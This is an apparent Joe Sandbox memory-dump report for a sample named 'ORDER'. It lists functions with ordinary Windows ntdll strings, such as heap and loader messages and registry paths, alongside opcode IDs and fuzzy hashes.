Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: c19146b895b04cd767547995123557e04021d38f88a8e7d5293ae4e9493b97e9
Instruction ID: e8713863f8e9476404da4c81e148c03e246b341def1a090162c949445f01177a
Opcode Fuzzy Hash: c19146b895b04cd767547995123557e04021d38f88a8e7d5293ae4e9493b97e9
Instruction Fuzzy Hash: 5C919F71509345AFE721DF21D840FABBBECAF88788F40492DFAC592141EB75D984CB62

Function 3245265C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 324920C0
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 32491FE3, 324920BB
SXS: %s() passed the empty activation context, xrefs: 32491FE8
.Local, xrefs: 324527F8

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: f94f61539e5ef2dd9a2fb172878de66ec1d0c230070ffae2746e709e63aafc1f
Instruction ID: c7e009e7f2b6480c90604671a90a9f7325918de49d3dbe31dc923e11183211f9
Opcode Fuzzy Hash: f94f61539e5ef2dd9a2fb172878de66ec1d0c230070ffae2746e709e63aafc1f
Instruction Fuzzy Hash: 44A1D175A01329ABDB24CFA4DC84B99B7B0BF58318F2001EAD948A7355DB749EC5CF90

Function 324263CB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 32480DEC
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 32480E2F
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 32480EB5
ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 32480E72

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 45e9b32c16e60d05e97f03bc4c463e9f5cae81789a869d6a3e73471c544450ab
Instruction ID: e4cc2ff51e7125aeae31eaa4a0e6c7a3b5a67ac59978dfb016cfd93fe0f0b97e
Opcode Fuzzy Hash: 45e9b32c16e60d05e97f03bc4c463e9f5cae81789a869d6a3e73471c544450ab
Instruction Fuzzy Hash: F171DFB1904304AFE750CF15C884F8B7BA8EF847A4F400868FD998B24AD775E589CBD2

Function 324190F8 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

VirtualProtect Failed 0x%p %x, xrefs: 3247B849
HEAP: , xrefs: 3247B83C, 3247B879
HEAP[%wZ]: , xrefs: 3247B82F, 3247B86C
VirtualQuery Failed 0x%p %x, xrefs: 3247B886

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 2994545307-1391187441
Opcode ID: 6f1c0b0973a7a8dac7b4219246016cea26eadd91923b4d551fce52e66fc1993b
Instruction ID: 4e38e3bacf83ad8d1076a4d3bbe5fe2b3864293e62dd8c09b348a5badbf11437
Opcode Fuzzy Hash: 6f1c0b0973a7a8dac7b4219246016cea26eadd91923b4d551fce52e66fc1993b
Instruction Fuzzy Hash: 4731D936910204FFE701CB99DC84FDAB7B8EF45774F1580A5E825A7351DB71E981CA60

Function 32461190 Relevance: 5.1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 324611C5
eE2, xrefs: 32461230, 32461240, 32461233, 32461245
BuildLabEx, xrefs: 3246122F
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 3246119B

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion$eE2
API String ID: 0-2804839016
Opcode ID: 76f32a39945d4f2ebdff97751c73f9c66dc3144fdcbd35409db3b406f0ab5cf1
Instruction ID: 5312562edf2cdcf9702ce548ff8bdc6f1b1df4dde7a0374a07e14b37f5dac862
Opcode Fuzzy Hash: 76f32a39945d4f2ebdff97751c73f9c66dc3144fdcbd35409db3b406f0ab5cf1
Instruction Fuzzy Hash: 2B317371901619BBDB12CF95CC44EEEBBBDEB84B58F104029E514AB260DB74DE45CB90

Function 324A166E Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

.txt2, xrefs: 324A16FD
.txt, xrefs: 324A16E4
stxt371, xrefs: 324A16CC
BoG_ *90.0&!! Yy>, xrefs: 324A1693

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: .txt$.txt2$BoG_ *90.0&!! Yy>$stxt371
API String ID: 0-1880532218
Opcode ID: 83008b3c3fdf27f1f1cceac44d3483b3ccf285061637c0642ef7609aff99c261
Instruction ID: 0552870fb77744292a38e51dcd9cb0234c62f8cc3496154a5d82f65863acb893
Opcode Fuzzy Hash: 83008b3c3fdf27f1f1cceac44d3483b3ccf285061637c0642ef7609aff99c261
Instruction Fuzzy Hash: DE21487AA01610ABD701CB58DE51BAEB3F5AF54F48F488079E80DAB381EBB4D901CB40

Function 32427072 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 324815E0
RtlDebugPrintTimes.NTDLL ref: 324815F5

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: b1667cd87e42648019b4d1db7dd7c7a3a4cae94877b1a5c4e3d67f5e942edf9f
Instruction ID: 12f1f56e34ae589537337be16e894ac6c45dc274de619eb6aa074db44aafc2b3
Opcode Fuzzy Hash: b1667cd87e42648019b4d1db7dd7c7a3a4cae94877b1a5c4e3d67f5e942edf9f
Instruction Fuzzy Hash: 54512334A10715EFEB09CF65C944BADB7B0BF44715F10412AE90697390DFB49986CF80

Function 3242170C Relevance: 4.3, Strings: 3, Instructions: 520COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 3247F6BE
HEAP[%wZ]: , xrefs: 3247F6B1
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 3247F6D3

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 9fffb8db395423310978dfef07adf4feaabeb161e7c44e474a70639c5dd52454
Instruction ID: 351b415936228d1386f1b58187cdf591b48cb17149121432413bab1d7b1b6278
Opcode Fuzzy Hash: 9fffb8db395423310978dfef07adf4feaabeb161e7c44e474a70639c5dd52454
Instruction Fuzzy Hash: 9012E474600741EFE718CF29C480BA6B7E1FF45704F65859DD8A99B786DB70E881CB90

Function 324B3608 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

PE, xrefs: 324B37D2
LdrpResSearchResourceHandle Enter, xrefs: 324B3666
LdrpResSearchResourceHandle Exit, xrefs: 324B3681

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: LdrpResSearchResourceHandle Enter$LdrpResSearchResourceHandle Exit$PE
API String ID: 0-1168191160
Opcode ID: c0efbe6844ca1e385d3cc658e80a88ff8bd5b042216ea259c68196aaab57b88b
Instruction ID: a0b71096db30e50dd1d2caa29611a567d0c41f0a6256f2403eddac4e1ea70cdd
Opcode Fuzzy Hash: c0efbe6844ca1e385d3cc658e80a88ff8bd5b042216ea259c68196aaab57b88b
Instruction Fuzzy Hash: 8AF181B5A002288BDF20DB16CC807D9BBB5AF48744F5480D9DA89A7341FBB19EC5CF65

Function 32421380 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 324214B6
HEAP[%wZ]: , xrefs: 32421632
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 32421648

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 980f8e1d9c904719de3b58011553675bf7f1e201609ca9566ba49c1363aabb2d
Instruction ID: 3c2abd109081d27ca7f853c3f54027482961f5333ea16819404473493031e127
Opcode Fuzzy Hash: 980f8e1d9c904719de3b58011553675bf7f1e201609ca9566ba49c1363aabb2d
Instruction Fuzzy Hash: 85E1E1746047459FEB18CF29C4407BABBE5EF48704F14895DE8AACB346EB34E981CB50

Function 3244F4D0 Relevance: 4.1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 324900F1
RTL: Re-Waiting, xrefs: 32490128
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 324900C7

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: 531761c48dd712cb26bc2e986c807eb65bb0629bc04fd33c08f5b8149785ed4b
Instruction ID: 723af2eeac5d2c80d81752b9ee5fc67e833cdfd9db9ab1c61fa71c0a8ec92066
Opcode Fuzzy Hash: 531761c48dd712cb26bc2e986c807eb65bb0629bc04fd33c08f5b8149785ed4b
Instruction Fuzzy Hash: 7BE1DF746087419FE715CF28C880B6ABBE0BF84758F110A1DF5A58B3E1DB75E985CB42

Function 3241A147 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

FilterFullPath, xrefs: 3247C075
\??\, xrefs: 3247BF73
UseFilter, xrefs: 3241A171

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: 0020baf63ec3cdfaae5a329ffdc1875669a2462baff626f313a6c865ad177f5d
Instruction ID: 72d5ae00e53dc424cfd0ea3f7f1615906fb13154b5d6666a800d3f4e9944a93c
Opcode Fuzzy Hash: 0020baf63ec3cdfaae5a329ffdc1875669a2462baff626f313a6c865ad177f5d
Instruction Fuzzy Hash: 71A191759016299BDB21DF68CC88BEAB7B8EF04704F1045EAE918A7250DB759EC4CF50

Function 324FB2BC Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 324FB3AA
GlobalizationUserSettings, xrefs: 324FB3B4
TargetNtPath, xrefs: 324FB3AF

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: 62a73a8bbc749be2684a223d7f2fa88abd82b273c349f676aee66618c9746593
Instruction ID: c59738cee1718b8c12e7fe1761efbf5b873d4fd97adb0b1e589f7805a0aac6ea
Opcode Fuzzy Hash: 62a73a8bbc749be2684a223d7f2fa88abd82b273c349f676aee66618c9746593
Instruction Fuzzy Hash: 6661A272D41229BBDB21DF54DC88BD9B7B8EB49714F4101E9EA08AB250CB74DE84CF90

Function 3241F75B Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 3247E442
HEAP[%wZ]: , xrefs: 3247E435
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 3247E455

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: 03c660d6d4dad8a53b27210b9f5c5f3f8c9fbfab67eefdbc333b43de29961690
Instruction ID: 9c2e1c1e324a5741ed62911ada11d968ad318a3df917d29615c09b6bb42d1bd0
Opcode Fuzzy Hash: 03c660d6d4dad8a53b27210b9f5c5f3f8c9fbfab67eefdbc333b43de29961690
Instruction Fuzzy Hash: 09511435700784AFE312CBA8C894F9ABBF8EF05344F1541A9E5608B792D7B4F942CB90

Function 32441514 Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

LdrpCompleteMapModule, xrefs: 3248A39D
Could not validate the crypto signature for DLL %wZ, xrefs: 3248A396
minkernel\ntdll\ldrmap.c, xrefs: 3248A3A7

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 54878f158048f0d4697ae1fa15dc1451227480f04a5e6331932d318e29bf8728
Instruction ID: 51475cde73cca1c7e3fbaae1f5432e2894f8adee9f128f494cd2e3a74e4bf8c2
Opcode Fuzzy Hash: 54878f158048f0d4697ae1fa15dc1451227480f04a5e6331932d318e29bf8728
Instruction Fuzzy Hash: 07513575A00741DBF712CF59C844B8A7BE4EF04B58F1005A8E9659B3E2DFB4E941CB44

Function 324CD62C Relevance: 3.9, Strings: 3, Instructions: 163COMMON

Download Yara Rule

Strings

Heap block at %p modified at %p past requested size of %Ix, xrefs: 324CD7B2
HEAP: , xrefs: 324CD79F
HEAP[%wZ]: , xrefs: 324CD792

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: 4b63bded528acead1548dc0af11a3625fbbcd396b733fe28090c25a641861c3f
Instruction ID: 2f05bd9c119a1261a651bb1bd2526bc2b3f261da095af8af77b96c7b5397dc1b
Opcode Fuzzy Hash: 4b63bded528acead1548dc0af11a3625fbbcd396b733fe28090c25a641861c3f
Instruction Fuzzy Hash: 9851027D201B60EAF354DE2DC84077273E1DF45688F50886EE4C98B685EA36E887DB20

Function 3242A1E3 Relevance: 3.9, Strings: 3, Instructions: 118COMMON

Download Yara Rule

Strings

@S?2, xrefs: 3242A268
RtlpResUltimateFallbackInfo Exit, xrefs: 3242A229
RtlpResUltimateFallbackInfo Enter, xrefs: 3242A21B

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @S?2$RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-1870703032
Opcode ID: d469c8e4b6c0ee8c1140efa624a0d1af43cefc96c6cd9e2feab91b96a60dee6a
Instruction ID: 011d03d53ce35720d93dff6968c7622e068bca0fe11975c55d1af31d019d08cd
Opcode Fuzzy Hash: d469c8e4b6c0ee8c1140efa624a0d1af43cefc96c6cd9e2feab91b96a60dee6a
Instruction Fuzzy Hash: A941A979A007949FEB06CF9AC840B5AB7B4EF45754F2140A9EC00DF3A0EA76D981CB21

Function 324AB214 Relevance: 3.9, Strings: 3, Instructions: 107COMMON

Download Yara Rule

Strings

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 324AB2B2
GlobalFlag, xrefs: 324AB30F
@, xrefs: 324AB2F0

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
API String ID: 0-4192008846
Opcode ID: 12fc7287699e2d19715a3f7bc9545aa5a2d9b24a878e33161627da40504a5d72
Instruction ID: e329fadba965078c77132e2b2bb19e8eaf116ffd332252ae3464e66f92d6118e
Opcode Fuzzy Hash: 12fc7287699e2d19715a3f7bc9545aa5a2d9b24a878e33161627da40504a5d72
Instruction Fuzzy Hash: B6314DB1D01209AFDB11DF95DC90AEEBBBCEF54748F40446DE605AB241EBB49E44CB90

Function 32451527 Relevance: 3.8, Strings: 3, Instructions: 98COMMON

Download Yara Rule

Strings

DLL "%wZ" has TLS information at %p, xrefs: 3249184A
LdrpInitializeTls, xrefs: 32491851
minkernel\ntdll\ldrtls.c, xrefs: 3249185B

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
API String ID: 0-931879808
Opcode ID: 7472c760c875841b87df00063ffeb11b67aeaf11ac883514d0b92f9a7e0d0d1c
Instruction ID: a772b12ea34990fd43e48931c8d377383bfa20e3a0094c9b9b4127ce049cfb9d
Opcode Fuzzy Hash: 7472c760c875841b87df00063ffeb11b67aeaf11ac883514d0b92f9a7e0d0d1c
Instruction Fuzzy Hash: 6C31F871A50204BBFB108F55CC45F9A7BA8BB44B88F610459F549B7380EBB0BF85C790

Function 32427623 Relevance: 3.2, APIs: 2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 846d7810f128e09750152e574843e1eaa72f73b41632ddc07146f419636bb25c
Instruction ID: 8885977d7debc7fe26b7a20b5d176438db08b58d1b11f5129a837ff0a8ae7e72
Opcode Fuzzy Hash: 846d7810f128e09750152e574843e1eaa72f73b41632ddc07146f419636bb25c
Instruction Fuzzy Hash: 96619D75A01706AFDB08CF79C580A9DFBB5BF88744F24826ED519A7300DB74AA52CB90

Function 324351C0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 324354C3
@, xrefs: 32435365

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: d052ca37c48f955ea626348665fdd8190f8d2a05ff5dace65c8cc0d3134be5df
Instruction ID: 0d37667d02d26831205078c7901d190e760d812498df11a00bb6b55e44d13867
Opcode Fuzzy Hash: d052ca37c48f955ea626348665fdd8190f8d2a05ff5dace65c8cc0d3134be5df
Instruction Fuzzy Hash: 6C32EFB55093518BD726CF14C480B2EB7E1EF8C748F50492EFA858B390EB74D8A5CB92

Function 32425622 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32425698
RtlDebugPrintTimes.NTDLL ref: 3248061D

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 826f2d03146532b7800a48ab33ca93fca5a73181c4714eee05cfc38b3b3cf5bf
Instruction ID: 3fa7eb13de36ccfebe6f63cf6d050dcabfa532417cb4137c335484e609293f85
Opcode Fuzzy Hash: 826f2d03146532b7800a48ab33ca93fca5a73181c4714eee05cfc38b3b3cf5bf
Instruction Fuzzy Hash: CB31E131211B12EFE74ADF65CA40B8AFB65BF88B54F001019E90497B50DFB1E861CBD0

Function 324A174B Relevance: 2.8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

AddD, xrefs: 324A18CD
@, xrefs: 324A1877

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @$AddD
API String ID: 0-2525844869
Opcode ID: 791b3212952ffbaf065183e735fbf383f14290419a925be2fe6dcb995a34f5e1
Instruction ID: cf5765637c9544e2c86918196de412364accf1b2503d9c7cd156bf3e11b29926
Opcode Fuzzy Hash: 791b3212952ffbaf065183e735fbf383f14290419a925be2fe6dcb995a34f5e1
Instruction Fuzzy Hash: 24A16EB6504340AFE314CF14C854BABB7EDFF94B48F544A2EF99986250E7B0E905CB62

Function 324FB55F Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

RedirectedKey, xrefs: 324FB60E
\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 324FB5C4

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
